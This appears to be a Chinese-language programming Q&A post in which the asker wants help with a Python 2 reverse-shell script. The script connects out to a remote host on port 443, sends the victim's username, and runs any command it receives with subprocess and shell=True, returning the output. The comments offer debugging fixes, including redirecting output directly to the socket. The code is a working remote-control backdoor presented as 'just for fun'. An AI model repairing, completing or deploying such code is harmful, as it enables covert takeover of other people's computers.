【发布时间】:2016-01-13 20:19:22
【问题描述】:
/*
嘿,这个脚本纯粹是为了好玩,除了它易于停止和检测之外,没有任何违法行为。进一步说如果我将其用于非法活动,我为什么要在这里发布?
*/
我的问题是我无法从客户端执行 cmd 命令。我不知道为什么,尽管我暗示它与某种套接字错误有关。当我尝试执行命令时,无论我等待多长时间,它都什么都不做。客户端没有问题,因为我已经使用下面代码的更简单版本进行了测试。
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
conntrue = None
while conntrue is None:
try:
conntrue = s.connect((host, port))
s.send("[+] We are connected to %s") % (username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
elif exec_code == "Hey":
try:
proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except:
s.send("[+] was wrong, just exec it manually")
else:
proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except:
s.close()
except:
conntrue = None
pass
s.close()
start()
【问题讨论】:
-
什么是“无法从客户端执行 cmd 命令”?为什么你不能?你有错误吗?它执行错误的事情吗?代码崩溃了吗?
-
不相关:将
stdout_value = proc.stdout.read() + proc.stderr.read()替换为output = b"".join(proc.communicate()),否则如果您的子进程期望输入或在stderr 上生成足够的输出以填充相应的操作系统管道缓冲区,则它们可能会挂起。 -
您的代码很好地说明了为什么您不应该使用裸露的
except:语句:它隐藏了代码中的错误。首先记录您遇到的所有异常(并修复相应的错误)。 -
@J.F.Sebastian 谢谢你,使用了except Exception, e 来查找错误。我不会上传它,以防有人将它用于任何非法行为。
-
另外,如果您对子进程输出不做任何事情,那么您可以直接将其重定向到套接字:
Popen(..., stdout=s, stderr=STDOUT), example。
标签: python python-2.7 sockets subprocess